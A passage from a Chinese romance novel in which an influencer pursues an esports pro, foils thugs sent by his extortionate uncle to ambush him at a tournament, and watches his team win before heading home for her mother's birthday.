虚情假意地打完招呼,祝愉便跟着摄影助理先一步去了化妆间。 “哇,不得不说她确实挺有气质的。”一个短发女人说道。 “所以她粉丝多啊,现在脸都是次要的,主要是身上的那种调调。”同伴附和了句。 “但你们不觉得她有点假清高吗?好多活动她都不接,就拍拍视频,守着那几个粉丝过日子,对人都是爱答不理的。”一个长相清纯的女人看着自己新做的美甲说道。 没人敢接她的话。 女人叫沈苒,主打日杂风格。 两年前沈苒还在走知性姐姐风时,有一个深受高知群体喜欢的服装品牌同时邀约了她和祝愉,但是推广期她的热度没有祝愉高,喜欢这种风格的人全跑去了祝愉那。 粉丝流失了几万,沈苒不甘心,便直播故意卖惨,粉丝被沈苒带了节奏后天天蹲祝愉评论区阴阳她。 不过后面那个品牌自己结束了跟沈苒的一切合作,一波又起,风评继而转向祝愉。这对于沈苒来说就是搬起石头砸自己的脚,得不偿失,但她还是我行我素。 一旦二人见面,沈苒都要明里暗里使点小绊子膈应一下祝愉。只不过祝愉很少参与线下活动,沈苒想针对也得挑时机才行。 “自己嫉妒人家长得漂亮,粉丝多就直说,每次都在这当小人,累不累啊,大——小——姐?” 一道不屑的声音骤然响起。江笛进门刚好听见这一句,心中不爽,故意撞了一下沈苒,提着包走进棚内。 化妆间—— “我去,你不知道那个沈苒又在那背后说你坏话,都不知道这是第几回了,烦不烦啊。”江笛将自己摔在沙发上,义愤填膺道。 她跟这家摄影棚的老板比较熟,正好在附近,结束拍摄后过来看一眼祝愉。 祝愉任由化妆师摆弄自己的头发,低头看手机,神色如常,“她爱说就说呗,又伤不到我什么。” 她撩了一下滑落下来的发丝,也有些无奈。针对了她这么久也不嫌累,又讨不着好,她看着都要累了。 之前还有精力跟沈苒争几句,现在她都无所谓了。 江笛叹了口气,“你也太佛系了,要不你多参加些活动,把她那资源全抢过来,让她还这么嚣张。” “不要,太累了。”祝愉拒绝道,“现在就挺好的。” 她不想参与到这些竞争当中,没必要,而且这几年攒的钱够她有个好生活了。 “行吧行吧。”江笛也劝不过,就坐到旁边的椅子上,看祝愉化妆。 “你干嘛?兼职当社区和平大使啊?”江笛瞅了眼,发现她正在填写什么举报理由。 “现在网上的人说话太过分了。”祝愉气得胸口一痛,她还骂不过这人。 “骂的谁啊?不过现在网络喷子挺多的,骂几句也没……”江笛话还没说完,看见了举报评论是“重明s全家行不行”。 “你怎么又开始看俞述了?”江笛有种恨铁不成钢的意味,“前段时间谁跟我说的不要再提起他,要忘了他的?” 说她坏话的她一点都不搭理,一看是骂俞述的,撸起袖子就要跟人线上“火拼”了。 祝愉没好意思地放下手机,“……我也是随便看看。” “你忘不了他什么?打游戏帅?还是长得帅?” 祝愉脸颊泛红,眼神飘忽,支支吾吾半天,“我也说不上来……就是觉得他身上有一种很独特的感觉。” “什么感觉?”江笛目光带着探究,追问道。 “就是很可爱啊!”祝愉声音大了些,像是有了底气,“他哪里都很可爱。” “头发可爱,眼睛可爱,不说话的时候可爱,比赛的时候也很可爱……”包括他的小虎牙和睡觉的时候的样子都可爱,但这确实听起来有点变态,祝愉没有说出口。 江笛震惊,满脸疑问,“他可爱?你要说他帅我都觉得很正常,他可爱在哪里啊?”一直板着脸,这就是喜欢冷脸萌的人吗? 她算是见识到了。 祝愉仿佛听到了江笛的内心旁白,翻到自己的手机壁纸,递给江笛看,有种炫耀的意味。 正是那张俞述带着狗狗头套的照片。她修了一下,在旁边加上了自己的大头照,像是情侣照一样。 江笛看了半天,她觉得这就是一张很正常的大头照啊,怎么看出的可爱和羞涩。 果然情人眼里出西施。 斟酌再三,江笛开口说道:“我觉得你应该先跟他接触接触,深入了解一下再打算要不要追他。” 祝愉明亮的神色归于平淡,低头掩下眼底的晦涩。 她 知道江笛说的是什么意思。 高中的时候,祝愉喜欢上一个大自己一届的学长,只是因为学长字写得好看。 理由离谱至极,但她却开始了长达三年的暗恋。 她一开始只知道学长成绩好,喜欢打篮球,性格活泼,朋友很多很受欢迎……就觉得学长可能是一个很好的人。 祝愉开始打扮自己,怕自己跟学长没有共同语言,便努力学习,还报了书法班练字,结果都是自我感动。 高中毕业,祝愉表白前,偶然间听到学长在向别人炫耀有漂亮的学妹喜欢自己,自己什么都不用做,这学妹还天天嘘寒问暖的,他打算在祝愉毕业后搞她一次。 语气下流,态度恶劣,打破了祝愉心中的层层滤镜。 听到这些话,她心缩了又缩,仿佛落入冰窖般瑟瑟发抖,大脑一片空白,僵在原地站了许久。 久到脚掌发痛,她才动身,把手里的奶茶全泼到了那个人的头上,一句话也没说就离开了。 那时候的自己确实挺蠢的。 这是祝愉几年来都忘不掉的感受,她从来没有真正的去了解过这个人,她喜欢的是自己想象中的学长。 但是…… “没关系,这次我有一种直觉。” “什么直觉?” “他是个很好的人的直觉,我们一定会在一起的直觉。”祝愉肯定道。 …… 江笛没待多久就回工作室剪片子了,但她走之前还是表达了自己对祝愉的支持,还提到如果俞述敢对她不好,自己就给俞述拍黑图,让串子嘲笑他。 祝愉扬起一抹笑,说她一定努力。 瞬间信心大足。 下午五点,棚内拍摄结束后,其他人还要去园区内拍一段宣传视频。祝愉先把自己的部分拍完了,但负责人说要给她单独拍几张外景照片,到时候做一个宣传册子。 “诶,对对对,就这个姿势,保持微笑,再来两张,然后慢慢抬头……” 抬头的瞬间,祝愉表情怔愣了几秒。 “刚刚嘴那有点奇怪,我们再来几张。” 祝愉整理了一下,想要刻意地不去注意摄影师后面站着的人,但还是没忍住破了功。 “等一下,等我几秒。”祝愉朝拍摄的几人打了声招呼,小跑过去。 “你怎么在这边呀。”语调放轻,她看向眼前的男人,没想到会这么快碰见他。 男人正是俞述,穿着队服,发型微微卷烫了一下,看着温润不少。 “在这边拍宣传片。”他开口回道。 他和其他战队的几人来拍新赛季宣传片,刚刚拍完一处,正好要换场景到另外一边,没想到在路上碰到了祝愉,便停步在原地等了一会儿,不打扰他们拍摄。 祝愉身上穿着一件藕粉色吊带长裙,露出大片肌肤,皮肤莹润,长发披肩带着点弧度,脸颊处晕开一抹粉光,整个人看起来柔和又甜美,腰间同色系的蝴蝶结添了几分灵动,不失俏皮。 俞述视线一滞,收起目光,下垂的手无意识地捏着袖口,转头看向别处。 祝愉却大着胆子,起了逗弄的心思。 她缓缓走近,近到可以闻到俞述身上特有的清爽气味,是那款柠檬花香味的洗衣液。 俞述下意识想要后退,但怕祝愉多想,便站定,低头看着她的眉眼。她目光带着浅浅的笑意,缓缓开口,“你什么时候结束?我有礼物要送给你。” “什么礼物?” “等会你就知道了。”祝愉压低声音,有种愉悦的感觉,“我会给你打电话的。” 温软的声线如同羽毛轻轻落入他的耳中,掀起一阵痒意,俞述平静的神色褪去,局促地说了声好。 离开时,俞述动作有些凌乱,但是祝愉眼尖地看到了他微红的耳垂。 她细细品味了一番,扑哧笑了出来,原来他这么容易害羞啊。 8. 第8章 俞述的个人part很早就拍完了,他按着祝愉发的地址,来到了一个两层楼的摄影工作室门前。 工作室的墙壁上爬满了绿植,宽大的叶子遮住还有余温的夕阳,俞述随意坐在一层台阶上,修长的腿恣意伸展,片片光亮轻轻印在他的身上,模糊了他的轮廓。 大约过了十几分钟,身后传来高跟鞋踩地的声音。 俞述微微侧身,收起大开的腿,但并没有抬头观望来人,闷头在训练营里练习改动后的英雄。 “帅哥,你在这等人吗?” 甜腻的声音在耳侧响起,俞述置若罔闻,站起来往旁边走了一段距离。 沈苒见此蹭的起了火气,心想这小子什么意思,躲她躲那么远? 但想了想自己的目的,她平复了一下心情,又靠近吹捧着,“哇,你好厉害啊,我都不会玩这个。” 俞述按了暂停,终于看向这个女人,“你有什么事吗?” 沈苒倒是一愣,难道没有看出她在搭讪吗? “我就是看你一个人在这打游戏,觉得你可能会无聊,我就……” 回忆起她无意间看到的那一幕,沈苒再靠近,但被这个男人躲开。 俞述不太想跟不认识的人多话,收起手机,绕过她准备上去。 “我看到你头发上有片叶子,想帮你取一下,没别的意思。” 沈苒看着要走的男人,心里着急,上前拉住俞述的胳膊,故意贴近,把他的胳膊往自己怀里揽。 这招对于任何男人来说绝对百试百灵,沈苒很是自信。 没想到下一秒,男人猛地抽出自己的胳膊。 沈苒今天穿着一双十厘米的高跟,差点被俞述带倒摔在地上。 “离我远点。”声音冰冷,眼神暗含警告。 说完,俞述一声不吭地踏上台阶。 面色阴沉,嘴角绷直,满脸不爽……这是祝愉第一次看到俞述露出这种表情。 她推开门走近,轻声询问道:“你怎么了啊?” 一阵淡淡的苹果和柑橘的香味瞬间驱散了那股香得发腻的味道,俞述神情舒展,下意识地松了口气。 “没事。”他轻描淡写道。 台阶下的沈苒声音突兀地嘁了一声,瞪了眼祝愉,扭着腰离去。 祝愉没有理她,只是关注着眼前的人。 “你来了怎么不给我发消息呀,这样我早点出来,就不会让你等这么久了。”她背着手,面带一抹笑意。 “没有等那么久。” “也不知道你喜不喜欢这个礼物,要是不喜欢,你还会等我吗?” 祝愉的身体稍稍侧向他,距离更近,视线直直落向眼前拘谨的人。 俞述不自然地偏过头,躲开祝愉戏谑的眼神。 他知道祝愉在开玩笑,但还是肯定道:“没有礼物也会等的。” 祝愉很是愉悦,“好啦,逗你玩的。” 她伸出手摊开,一只雕琢精细的小狗蹲坐在她的掌心,长长的链条从脊背延伸出来,有一处银链绕过小狗的脖子,乍一看像一副项圈。 俞述接过,看着这只咧着嘴笑嘻嘻的狗,思量了一下,“是要戴在脖子上吗?” “嗯……你也可以不戴。”祝愉记得他是有合作的商务,戴不戴都没关系,她也只是想送给俞述而已。 “为什么会送我这个?” 祝愉歪头看着俞述认真思考的眼睛,心里一阵酥麻,“我觉得你们很像,都很可爱,但……你比他更可爱。” 直白的话语让俞述没有立即反应过来。 紧接着,他视线仓促移开,根本不敢再与祝愉对视,喉结轻轻滚动,唇瓣微张,半天也没说出什么。 祝愉心里偷笑,她觉得好像发现了什么秘密。 不再撩逗他,祝愉转移话题问道:“你等会要回基地吗?” “嗯,要回去训练。”俞述双手插着兜,耳尖红着把震动的手机按灭。 “你自己打车回去吗?”祝愉问道。 “阿良有开车来。” “这样啊……” 祝愉看了眼快要暗下去的天,脚尖在原地打圈。 要不要请他吃饭呢?但他晚上还要训练呀…… “你怎么回去?” “打车。” “我送你回去吧。” 祝愉感到一些意外,但还是装作冷静,“会不会耽误你训练的时间?” 姿态得体又自然。 “不会,还早。” “那就麻烦你啦。”祝愉也没再客气,能与他多待一秒也是心满意足,更何况是俞述主动邀请的她。 俞述给阿良打了电话,没过几分钟,一辆商务车驶来。 门开,祝愉刚要上去,却看见了里面坐着的姜其然。 在俞述的示意下,戴着耳机的男生下车坐去副驾驶,期间,眼神来回扫视这两人,企图发现什么不可说的秘密。 姜其然心里发笑,怪不得不接他电话。 阿良跟祝愉打完招呼后,车内陷入寂静,也在疑惑这两人怎么又见面了。 “刚刚怎么不接我电话?” 姜其然打破沉默。 “手机静音了,没听到。”俞述面不改色地胡诌。 姜其然一阵冷哼,转而对着另一个人问道,“姐姐还记得我吗?在总决赛那天有见过。” 祝愉悚然,因为那个称呼而感到发麻,“还记得……你是ZDG的射手。” “哦~我还以为把我忘了呢,只能记得俞述。”话语里有一丝阴阳怪气,但听得出没有什么恶意。 “不会忘记的。”祝愉尴尬地笑了下。 “良哥,等会在前面停车。”俞述突然开口。 “啊?还没到呢吧。”阿良诧异道,离祝愉家还有一段路呢。 “前面停下让姜其然滚下去。” 毫不留情。 “你小子敢让我下车,你就给我等着。”姜其然咬牙切齿,说都不让说了。 “到哪等着?” 两人拌嘴吵了几句,姜其然气得说要他好看。 祝愉没有出声,偏头看向窗外,嘴角却悄悄扬起。 怎么那么幼稚。 幼稚而又可爱。 但这几句调侃让她感觉离俞述好像更近了一些。 即便不舍,车还是稳稳停到了小区门口。 “下次见。”祝愉挥了挥手,比赛见。 “下次见。” 车驶去,直到转弯,祝愉才转身进去。 车内—— “我靠你啥意思,你俩真谈了啊?”要不是安全带勒着姜其然,他能几三下爬过来给俞述晃散。 俞述没有回答,只是看着手里的吊坠。 他居然没有否认? 阿良和姜其然对视一眼,深觉不对,这是心动的意思? 姜其然还想问点什么,但从后视镜中看到俞述已经躺在座椅上假寐,眼下是一片青黑,随着刚刚那人的离去,他身上的疲惫开始往外溢出。 还有三天就开赛了,这次FRG跟VRGM被安排在第一天比赛,晚上七点黄金档,备受瞩目,选手们的压力程度同样不可言喻。 这几天俞述连轴转,白天赶完拍摄,就要马不停蹄地回基地训练,第二天再坐飞机到外地跑其他商务。 紧密的行程让人咂舌,俞述却没喊过累,只是服从联盟的安排。 姜其然思索了一下,决定揭过这个话题,以后再问。 座椅下调,俞述浑身疲软地躺在上面,到基地要半小时,他还能眯一会儿。 闭上眼,脑海里却浮现出祝愉那张温柔的脸。 她站在那不说话,就那样静静地看向你,忽地一笑,轻声问你怎么了。 再次睁开眼,俞述没有了睡意。 他们见面的次数不多,但他却对祝愉的靠近毫无抵抗,心中没有一丝反感和抵触,甚至还想跟她多待一会儿。 俞述停止回忆,看着窗外划过的光景。 高架桥上来来往往的车不停地奔波,白天到昼夜再到凌晨……这样的光景他已经看了无数次,没有一天是不同的,就跟他的人生轨迹一样,但是今天,却换了一条路…… 手中突然感到颤意,俞述拿起手机,犹豫了片刻,最终还是挂断。 “你醒了啊,还有十分钟就到你们基地了。”姜其然瞥到后座的一抹亮光,“在车上就别玩手机了呗,到时候又晕。” “没看,在回消息。” “哦哦。”姜其然向后看了眼,俞述眉头紧蹙,周围气压忽地降低,一股熟悉的烦闷扑面而来。 “是不是你叔叔又……” 察觉到俞述的不爽,姜其然闭上嘴, 跟阿良对视了一眼。 俞述爹妈走得早,没能给他留下什么东西,但是他小姨看他可怜,带回家一把屎一把尿给他带大。 上了初中之后,他爸那边的亲戚找到俞述,让他还他爸妈欠下的二十万医疗费,俞述的小姨从未听到过姐姐借钱的事。但是白纸黑字、人证物证俱在,一伙人把他们告上了法庭,在他叔叔俞满的威逼利诱下,俞述背上了几十万的债务。 为了还债,俞述辍学来到这,一待就是六年。但是钱早在俞述打职业的第一年就还完了,可是人心不足蛇吞象,俞满尝到了甜头,越发大胆,一次又一次戳着俞述的软肋,朝他要这要那,不给就变着花样闹事。 他琢磨了会儿,小心问道:“俞满什么时候来找你?” “下周三。”声音沙哑。 周三?那不就是比赛刚打完? 姜其然心中满是不快,但思及俞述并不愿意其他人插手他家的事,他也只能象征性地劝了句,“你别管他了,先好好打比赛吧。” …… 夏季赛的第一天,万里无云,太阳直照那坐落于郊区的赛事场馆。 “进入到双方的这一小局,蓝色方YSG,红色方DWG,我是解说珊珊……” 热闹的尖叫声从场馆中传来,祝愉急匆匆地赶来,有个品牌方的小会耽搁了她出门的时间,这时候,第一大场比赛都快要结束了。 虽然俞述是晚上的比赛,但她还是抢了几张其他场次的票,打算从揭幕战开始看起。 祝愉从停车场那边绕过来,这条路没什么人,走得很顺畅。 “那小兔崽子什么时候来,这他妈的给老子热死了。”一个寸头男人呸了一口唾沫。 一道满是怒气的年轻声音从台阶下方传来,祝愉看到底下阴凉处坐着几个男人,抽着烟闲聊,一副生人勿进的样子。 花衬衫烦躁地踹了一脚寸头男人,“你等在这就是了,他不可能不来。” 祝愉脚步放缓,侧耳听着,莫名感到心慌。 “妈的,那老不要脸的就给我几万块钱,事后我非找他多要点。”寸头男人把烟掐灭,随意丢在脚边。 “得多找他要点,俞述这小子现在这么有钱,俞满肯定要了不老少,几万块钱打发叫花子呢。”另一旁一个胖小伙凑来,绿豆眼挤成一片,笑呵呵地说道。 “俞述一年最少赚这个数,今天不得让他吐出来点。”花衬衫男人比了个七。 “俞航!你爸真的嘴里没一句实话。”胖小伙推了把寸头男人,“不过也是真心狠,亲侄子都下得去手,怪不得是做生意的。” 他们接到了俞满派的任务,打算在俞述来的时候搞点绊子,后面好问他要钱。 “那有什么,又没养过,连条狗都比他亲热。”俞航不屑道,“妈的以为自己钱多就一天天吊个屁脸,那群女的像是没见过男人一样,一看见他就叫唤,不知道嗨什么。” 他扫了眼他们当中的女人,“你等会演好点,知道没。” 一个浓妆艳抹的女人点了点头。 声音不小,足够让祝愉听得清楚。 他们是来找俞述麻烦的。 胖小伙抬眼看到几米外站着一个高个女人,戴着墨镜和口罩,虽然看不太清,但看气质应该长得不差,便吊儿郎当的吹了声口哨。 “妈的,又是一个棺材玩意儿。”看那女人没反应,俞航唾弃道,“估计又是来看那贱人的。” 短短一分钟,俞述在他嘴里已经变了好几个称呼。 祝愉有些害怕,目光所及之处的保安离这很远,都在正门前拉围栏,听不到这些对话。 她脚步不敢停,但内心止不住地挣扎—— 要报警吗?但是警察来了会信吗? 万一带不走这些人怎么办? 告诉俞述吗? 但是俞述马上就要比赛了……这绝对不能耽搁他。 祝愉此时也来不及多想,快步走到工作人员身边,低声问他FRG几点来,得知是下午五点之后,她擦了一下微湿的额头,转身走进场馆打通陈词恩的电话。 她要把这件事快点告诉阿良。 “喂,姐……我刚到,你认识俞述的助理吗?”祝愉透着蓝色玻璃看向外面,“那你把他联系方式给我一下,我现在着急找他。” 她心中焦急,希望时间能够来得及。 9. 第9章 “第一局BP开始,DG选择红方,ECG选择蓝色方。” “DG这边双ban辅助,ECG保险起见先选了少司缘?但是两边都没有ban张良,看DG会不会选……” “哦?DG这边选了宫本和甄姬?这是一个比较少见的组合啊,但是后面不抢辅助的话就被ban完了……” 场外,只剩下FRG没来,护栏两边照例围满了粉丝。 大部分安保待在队伍前后维护秩序,那几人也游离在外圈不停地张望着。 祝愉戴上墨镜,若无其事地走到他们身后,接起电话,音量刚好够前面的人听到。 “什么?俞述早进去了?” 俞航转头,是刚刚在门口看见的那个女人。 “啊……他那么早就去了啊,不跟FRG他们一起来吗?” “好好,那我知道了。” 祝愉挂断电话,假意叹了一口气,“专门来接上班的,没想到还是看不到。” 花衬衫有一丝狐疑,示意俞航问一下。 “喂,你说俞述等会儿不从那边来吗?就那个FRG的重明。” 祝愉警惕地打量着他,轻轻点头,“他有个拍摄活动,今早就到场馆了。” 俞航跟花衬衫对视了一眼,他们不了解这些,之前也确实有跑空过,那次俞述一个人从后门溜走了,还被他那个助理摆了一道,他们几个人差点进局子。 而且这个女人也没在他身边见过…… 应该就是普通粉丝。 胖小伙思忖了一会儿,绕了绕手,“走吧,反正俞满给的钱就那点,谁愿意专门等在这替他干这些破烦事。” “诶!那我爸那边……”余航有些着急。 胖小伙揽过余航,按着他的头,在他耳边低声说:“反正你爸把钱给我们了,就那几万,还不如拿着去找点乐子……而且你看,这周围这么多人全是他粉丝……闹归闹,但搞不好要被抓啊!到时候你爸会花钱捞你出来吗?有你二哥在你就别想了。” 看余航没有反应,胖小伙重重拍了一下他的肩膀,继续说:“上次就被他躲了,这次还逮不到他,说明就不能这样干……咱拿着钱乐呵完,让王磊去跟你爸说,让他换个思路行不,都这年代了还学以前堵人那一套……王磊嘴皮子溜,你放心,你爸不会说到你头上的。” 王磊就是花衬衫,是余航的发小,胖小伙则是王磊的表哥,刘成。 俞航听着虽有些不乐意,但一想起他二哥,他就心里满是不快,脏活累活全让他做,到头来钱都没有他二哥零头多。 余航便什么话也没说,重重点头,拉着王磊和那女人先行离开了。 刘成冷呵了一声,真是瞌睡了就有人来送枕头,他刚刚还在那琢磨怎么不干这事呢,就五万块钱,干不好就得进去的活儿,谁愿意?俞满这个周扒皮…… 看着那几人坐着车离开,祝愉松了口气,她本来只是想拖一下时间,要是他们不相信,就只能告诉俞述实情,让他从后门进到场馆。 大约五分钟后,FRG的大巴车驶来,在粉丝的加油声中,选手们三三两两进入场馆。 …… 阿良看着俞述进了休息室,便躲到一侧去跟祝愉打电话。 一个小时之前,选手都还在基地,他当时在给俞述买咖啡,却接到了祝愉的电话。 大概了解到事情经过之后,阿良也不在场馆那边,思来想去只能麻烦祝愉想办法拖一会儿。 挂断电话后,阿良就催选手们快点准备东西去场馆。 一路顺畅,下一个路口转过就要到了,阿良让司机停在路边,等会儿再开过去。 “我去,良哥,你催这么紧,我以为要迟到了,结果才四点,我屎都没拉完。”灼忧夸张地哀嚎道。 “你憋一憋,场馆那出了点事,等会才能过去。”阿良惴惴不安,不知道祝愉能不能行,早知道他打车先过来了。 要是真出啥篓子,也不能让俞述知道。 “什么事?”俞述睁开眼问道。 “没啥事,好像是有人中暑晕倒了。”阿良打哈哈糊弄过去。 俞述奇怪地看了眼阿良,现场的事怎么会通知他,但没多想便又躺了回去。 半个小时后,阿良接到消息,才让司机发车。 …… 走廊尽头。 “你现在在哪呢?”阿良小声问道。 “我已经进来了。” 祝愉坐在倒数第三排,正好是局间休息环节。 “那群人走了没啊?” “走了。” “好……唉,这事……我也不好……”阿良不知怎么开口,祝愉是帮了他们,但是他不能把这事告诉她,俞述不怎么喜欢别人讨论他的私事。 祝愉知道他的为难,体贴地没有继续问下去,她想以后自己再去问俞述,看他愿不愿意告诉自己,“没事,比赛重要,这些事以后再说吧。” 阿良挂了电话,叹着气进了休息室。 …… 有人心中一片乱麻,但有人心中一片火热。 短暂的休息之后,来到了DG的赛点局,现场燥热不止,无数双眼睛紧紧盯着现场大屏。 “现在来到第四小局,目前DG2:1ECG,到底是DG率先结束比赛,还是ECG扳回一局打平手,共同进入决胜局呢?” “……DG率先ban掉了鲁班大师和关羽,ECG则ban了盾山和马超!确实,小野有一手马超绝活,得针对小野做一下BP。” 祝愉有些云里雾里的,她这段时间一直在恶补之前的比赛,但只知道那几套惯用的体系,如果换成别的英雄,她就不太清楚了。 “DG这把选到了海月啊,但是小莓的海月登场次数确实不高,上个赛季都没怎么见他拿过,胜率也只有20%左右。” “是啊,而且这把DG的阵容很吃海月的开团节奏,这下把压力集中在小莓身上,不知道能不能顶得住呢?” 说起海月,祝愉想到了她看的第一场比赛是FRG的赛点局,俞述玩的就是海月,那把FRG虽然输了,但是赛后数据图却全包了对面中单。 …… “依旧是熟悉的十分钟龙团点,双方打野就位,DG这边已经开始摸龙了,ECG这边不是很敢靠近,因为海月就在自家打野旁边给足压制,对戈雅真的是虎视眈眈,你摸一下我就要给你带走了!” “武则天大闪开团,给暃制造拼惩的环境,海月闪现躲控制强拉暃,但是链子拉断了!这可是个暃啊!他应该去拉戈雅的!“ “ECG趁着这十秒左右的空档已经从豁开的口子挤入DG后排,夏洛特直冲苍,苍交闪也跑不了啊!而且苍没有进到草丛,戈雅弹射起步,只找残血的苍,张飞吼大也没能救下射手!而另一边,暃在混战当中拼到了龙,并且玉化带走了海月和小野的镜!” “而下路有兵线,曹操能赶回去吗?DG这边只剩了张飞在跟对面打野苦命纠缠。” “兵线来到了水晶,一下两下……还剩下一个炮车,曹操没有办法顶出去啊!” “……那就让我们恭喜ECG!十一分钟结束比赛,扳回比分2:2平!” 耳边粉丝呐喊的声音一波接着一波,祝愉旁边的两个女生是ECG的粉丝,已经抱在一起开始尖叫,这是ECG重组之后第一次跟DG打平,以往都是被零封,或者只从DG手中拿到一分,现在居然能够打平,血赚血赚! 虽然现在比赛的两支队伍祝愉都不太认识,但她真的感受到了只有赛场才有的热烈,场馆中此起彼伏的声音无一不诉说着心中的激动,包括她。 最后一局,ECG乘胜追击,十九分钟结束了比赛,没有拖入风暴龙王。 这一大场结束,ECG3:2DG,打破了两年以来同组未赢的魔咒,现场欢呼一片。 祝愉没有听赛后采访,提前出去给陈词恩回了电话,跟她报个平安。 下午那会儿祝愉着急的样子属实把陈词恩吓到了,以为出了什么大事,一直发微信轰炸她。 她解释说是俞述的私事,不方便多说。 “既然是私事,你是怎么知道的,嗯?”电话另一头传来陈词恩打趣的声音。 祝愉揉了揉干涩的眼睛,盯着屏幕看的太久了,回去得滴点眼药水,她闷声道:“就是偶然知道的,别问了嘛。” “你还有自己的小秘密了,以前你什么事都会跟我说的,呜呜呜……” 听着 陈词恩假哭的声音,她无奈地勾了勾唇,“别演啦,这事真不能跟你说,而且我也不是特别清楚……” “欧克欧克,那你比赛结束了我去接你吃火锅!” “好。” 下一场比赛半小时后开始,看着满满当当的通道,祝愉再次感叹FRG的人气,FRG的选手们性格好,没什么黑料,操作也是全联盟名列前茅,粉丝数量自然不少。 所以FRG除了是豪门俱乐部之外,本身只靠选手的商务和直播流水也能支撑队伍一年的周转。 祝愉再次进场后换了位置,俞述给她的票在中间,不用一直抬着头,也能看见台上的选手。 现场导播会随机给观众席镜头,但一般都会给前排,所以祝愉就把脸上的口罩取了下来,戴久了确实很闷。她拿起随身携带的补妆镜左右看了眼,脸上没怎么泛光,底妆依旧完美,这个粉底液的持妆效果还不错。 “哇!” 镜头给向vip座的一个女生,举着FRG的牌子,酷似有村架纯。 现场惊叹几秒之后,画面又一切换,周围突然一阵惊呼,祝愉抬头,大屏幕中间出现的正是她。 “我靠,那不是小竹吗?她也来看比赛啊?” “可能是俱乐部邀请来宣传的吧。” “啊啊啊啊,她身上的那件粉色衬衫好好看,她今天会不会出这套衣服的视频啊。” 祝愉一惊,机械地举手打招呼,为什么坐在这也会被拍到…… 镜头挪过去,因为之前的热搜事件,祝愉还有些心虚,犹豫半天,手里的口罩也没再戴上去。 …… 漫长的等待,天黑之前,FRG与VRGM的比赛开始了。 是粉丝口中的宿敌,是解说眼中旗鼓相当的对手,是联盟心中话题度拉满的对决…… 第一小局的比赛在众人期待中开始了…… 九分四十秒。 “FRG前期的部署做得非常好,VRGM没有办法挤过去看一眼,小乔的闪现在上一波就没了,苏烈的闪还差四十秒才好,这个节点中辅没有办法先起节奏,如果硬要抢龙就会很快被终结,那么暴君则是FRG稳稳拿下,VRGM选择了换龙。” “哟?重明的女娲已经超前发育了一千块钱,这女娲的钱哪来的呀?” “可能是薅羊毛吧,我看他经常去下路啊。” “哈哈哈,虞姬说你吃你吃,我不饿,女娲说那我不客气了啊!” 时间一分一秒过去,来到了十三分钟。 “咦?女娲很灵性啊,先放方块,传送看一眼,能抢到吗?哦?抢到了!杨戬没惩啊,刚刚打蓝的时候FRG这边组团去骚扰了一波,惩戒交给蓝了,红反而丢了。” “那么红野区可能要被FRG接连入侵了,下一个红敖隐要是拿不到可就真的有点难受了。” “对啊……来看这一波,苏烈大闪配合小乔二技能砸到三个!但是虞姬和鲁班大师快速闪现拉开,元坦趁机肘了进去!但是杨戬狗了过来,韧性条不错,法天象地触发,女娲卡方块掩护虞姬撤退,大招闪现调位消耗了一波小乔,小乔的血条一下空了一半,然后鲁班大师吸两个!虞姬有红,平A再平A,把苏烈给点死了!VRGM踩灯太慢了!来不及啊!” 解说语速飞快。 “而女娲传送,矩阵卡住残血的小乔!元坦过来带走小乔,再肘过去收走没大的敖隐,女娲被杨戬带走,虽然虞姬也死了,但是这波二换三很赚啊!VRGM的打野残血了,没办法守这个蓝区,FRG很稳啊!不过但是他们没有停止进攻!” “他们想要干什么?一波吗?” 极致的反应与默契的配合,指尖翻飞,操控着屏幕里的英雄完成极限操作,一波又一波的音浪随着水晶的爆炸而彻底响彻场馆。 晚上十点,夏季赛的第一天比赛以FRG3:1VRGM落下帷幕。 祝愉久久没有回神。 她的视线不自觉地落在那个男人身上,他眉眼间尽是专注,即便赢了比赛也是面无波澜,但祝愉知道,他此时真的很开心…… 她喜欢的人正在赛场上闪闪发光,享受着赛场的每一瞬间……她突然冒出来一个念头——她想要守护他的热爱。 10. 第10章 六月中旬,空气闷得像密不透风的蒸笼,在外面多走两步就满头大汗,吹来的风也是热的,暑气逼人,连呼吸都觉得滚烫难耐。 祝愉推着行李箱,绕过七扭八歪停着的车,又走了一段坡路,才终于到小区单元门口。 后天是她妈妈的生日,同时是结婚十周年纪念日,夫妻两人都决定要大过一场,于是催她提前回来帮忙,陈词恩晚上才能到。 祝愉擦了擦汗,整件衣服都湿透了,这走来实在是太不方便了。 这是个老小区,基础设施陈旧,跟现在相比不是那么完善,也没有地下停车场,所有的车只能停在单元门口或者是大门外,导致住户进出都是个问题。 跟物业反映这么多年,也一直拖拖拉拉的不整改,目前只有电动车和自行车能够从这路出去,但凡开进来一辆车,绝对会造成拥堵。 年岁一久,黄色的墙皮掉了一层又一层,每隔几年再刷一次劣质的墙漆,一下雨一暴晒就全掉没了,从外面看楼房,简直是斑驳不已,小区也透着灰雾雾的轮廓。 之前祝愉跟陈词恩打算给爸妈买一套新房,搬离这个地方,到市中心去,出行也方便。 结果夫妻两人说自己有房,还是祝愉上大学的时候,趁着房价不高买的,只不过一直没搬。 这次十周年,他们才打算搬到新家去,说这样更有纪念意义。 祝愉觉得他们还挺浪漫的,做什么事都有仪式感。 “妈——我回来了!”祝愉拖着行李箱进门,朝着里面喊道。 “我的宝贝怎么这么早来了,也不说让你爸去机场接你。”林惠听见声音就往客厅走,张开手臂一把抱住眼前的人,满脸开心,自从过完年之后她就再没见到祝愉了。 “我打车就来了,这么热的天,爸还得来回跑,得多累啊。” “就知道心疼你爸的。”林惠捏了一把乖女儿的脸,“心心累不累啊,妈刚煮了绿豆汤,这会儿给你盛一碗,你看你满头大汗的。” “爸也很忙啊~妈也辛苦了!”祝愉递过行李箱,“那我先洗个澡再喝。” “好,你衣柜里的衣服我都给你洗了一遍,睡衣也是,你直接穿就行了。”林惠喊道。 林惠是小学副校长,正值暑假,也不用去学校,就待在家里找点事干。祝愉的继父陈建英是当地某大学的行政老师,朝九晚六,这会儿还没到下班的点,家里也只有母女两个人。 祝愉洗完澡喝着绿豆汤,环视了一遍家里的布置,基本的摆设都没有变动,新房那边都是姐妹俩挑选的新家具,其他零碎的东西打算等搬过去后再添置。 这套房是两人结婚后买的二手房,虽然老旧,但胜在便宜,而且房子也不小,一共有三个卧室,姐妹二人都有自己的空间。在生活上也一直没有苛待过她俩,要什么给什么。 当初陈词恩想要学艺术,夫妻俩合计了一下,手里的存款也够,便送陈词恩出国留学了。祝愉当时想要报新闻,但是被调剂到了汉语言,林惠也说没什么事,到了大学再去做自己想做的。 虽然林惠有时候比较轴,控制欲有点强,但其实都是为了他们好,偶尔的发难,家里人都能理解,也会迁就着她。 